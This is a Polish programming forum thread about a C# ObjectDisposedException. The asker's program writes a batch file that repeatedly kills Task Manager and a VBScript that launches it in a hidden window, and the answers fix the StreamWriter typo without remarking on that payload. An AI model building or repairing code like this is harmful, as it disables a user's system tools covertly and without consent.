• Najnowsze pytania
  • Bez odpowiedzi
  • Zadaj pytanie
  • Kategorie
  • Tagi
  • Zdobyte punkty
  • Ekipa ninja
  • IRC
  • FAQ
  • Regulamin
  • Książki warte uwagi

question-closed System.ObjectDisposedException: „Nie można zapisać danych w zamkniętym elemencie TextWriter.”

Object Storage Arubacloud
+1 głos
401 wizyt
pytanie zadane 31 marca 2019 w C# przez r.mar Początkujący (470 p.)
zamknięte 31 marca 2019 przez r.mar

Cześć mam pewien problem, otóż próbuję stworzyć plik VBS w C# i podczas próby kompilacji wyskakuje mi błąd w temacie. Kod: 

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

using WMPLib;
using System.IO;
using System.Diagnostics;


namespace SuperHot
{
    public partial class Form1 : Form
    {
        WindowsMediaPlayer player = new WindowsMediaPlayer();
        public Form1()
        {
            InitializeComponent();
            player.URL = "computer.mp3";

            byte[] byteArray = Encoding.UTF8.GetBytes("y.vbs");
            MemoryStream stream = new MemoryStream(byteArray);

            StreamWriter File = new StreamWriter("x.bat");
            File.Write("@echo off");
            File.Write(":1");
            File.Write("taskkill /f /im Taskmgr.exe");
            File.Write("goto :1");
            File.Close();

            StreamWriter File1 = new StreamWriter("y.vbs");
            File.Write("Set WshShell = CreateObject(\"WScript.Shell\") ");
            File.Write("WshShell.Run chr(34) & \"x.bat\" & Chr(34), 0");
            File.Write("Set WshShell = Nothing");
            File.Close();

            Process cmd = new Process();
            cmd.StartInfo.FileName = "cmd.exe";
            cmd.StartInfo.RedirectStandardInput = true;
            cmd.StartInfo.RedirectStandardOutput = true;
            cmd.StartInfo.CreateNoWindow = true;
            cmd.StartInfo.UseShellExecute = false;
            cmd.Start();

            cmd.StandardInput.WriteLine("echo Oscar");
            cmd.StandardInput.Flush();
            cmd.StandardInput.Close();
            cmd.WaitForExit();
            Console.WriteLine(cmd.StandardOutput.ReadToEnd());

        }

        private void Form1_Load(object sender, EventArgs e)
        {
            player.controls.play();
        }
    }
}

 

Zdjęcie:

komentarz zamknięcia: Problem rozwiązany

2 odpowiedzi

+1 głos
odpowiedź 31 marca 2019 przez XaFF Użytkownik (610 p.)
wybrane 31 marca 2019 przez r.mar
 
Najlepsza
StreamWriter File1 = new StreamWriter("y.vbs");
            File1.Write("Set WshShell = CreateObject(\"WScript.Shell\") ");

           //Brakowało 1 przy File, czyli File1
            File1.Write("WshShell.Run chr(34) & \"x.bat\" & Chr(34), 0");
            File1.Write("Set WshShell = Nothing");
            File1.Close();
komentarz 31 marca 2019 przez r.mar Początkujący (470 p.)
Teraz wszystko działa poprawnie. Dziękuje
komentarz 31 marca 2019 przez adrian17 Ekspert (344,860 p.)
Boczna uwaga, rekomenduję używać `using` ze StreamWriterem, wtedy nie ma ryzyka takich wpadek (i nie trzeba ręcznie wywoływać Close)
+1 głos
odpowiedź 31 marca 2019 przez Kacper Sas Dyskutant (8,460 p.)
StreamWriter File = new StreamWriter("x.bat");
            File.Write("@echo off");
            File.Write(":1");
            File.Write("taskkill /f /im Taskmgr.exe");
            File.Write("goto :1");
            File.Close(); // zamykasz File
 
            StreamWriter File1 = new StreamWriter("y.vbs");
            File.Write("Set WshShell = CreateObject(\"WScript.Shell\") ");
            // a tu do niego zapisujesz, chodzilo chyba o File1
            File.Write("WshShell.Run chr(34) & \"x.bat\" & Chr(34), 0");
            File.Write("Set WshShell = Nothing");
            File.Close();

 

komentarz 31 marca 2019 przez r.mar Początkujący (470 p.)
Dziękuje! Już wszystko działa.
komentarz 31 marca 2019 przez r.mar Początkujący (470 p.)
A jednak nie nie do końca działa. Gdy rozpoczynam program pliki się tworzą, ale y.vbs jest pusty. Nic w nim nie jest zapisane.

Podobne pytania

0 głosów
1 odpowiedź 171 wizyt
pytanie zadane 27 listopada 2018 w C i C++ przez xaos Nowicjusz (180 p.)
0 głosów
2 odpowiedzi 221 wizyt
0 głosów
1 odpowiedź 331 wizyt

92,556 zapytań

141,404 odpowiedzi

319,561 komentarzy

61,942 pasjonatów

Motyw:

Akcja Pajacyk

Pajacyk od wielu lat dożywia dzieci. Pomóż klikając w zielony brzuszek na stronie. Dziękujemy! ♡

Oto polecana książka warta uwagi.
Pełną listę książek znajdziesz tutaj.

Akademia Sekuraka

Kolejna edycja największej imprezy hakerskiej w Polsce, czyli Mega Sekurak Hacking Party odbędzie się już 20 maja 2024r. Z tej okazji mamy dla Was kod: pasjamshp - jeżeli wpiszecie go w koszyku, to wówczas otrzymacie 40% zniżki na bilet w wersji standard!

Więcej informacji na temat imprezy znajdziecie tutaj. Dziękujemy ekipie Sekuraka za taką fajną zniżkę dla wszystkich Pasjonatów!

Akademia Sekuraka

Niedawno wystartował dodruk tej świetnej, rozchwytywanej książki (około 940 stron). Mamy dla Was kod: pasja (wpiszcie go w koszyku), dzięki któremu otrzymujemy 10% zniżki - dziękujemy zaprzyjaźnionej ekipie Sekuraka za taki bonus dla Pasjonatów! Książka to pierwszy tom z serii o ITsec, który łagodnie wprowadzi w świat bezpieczeństwa IT każdą osobę - warto, polecamy!

...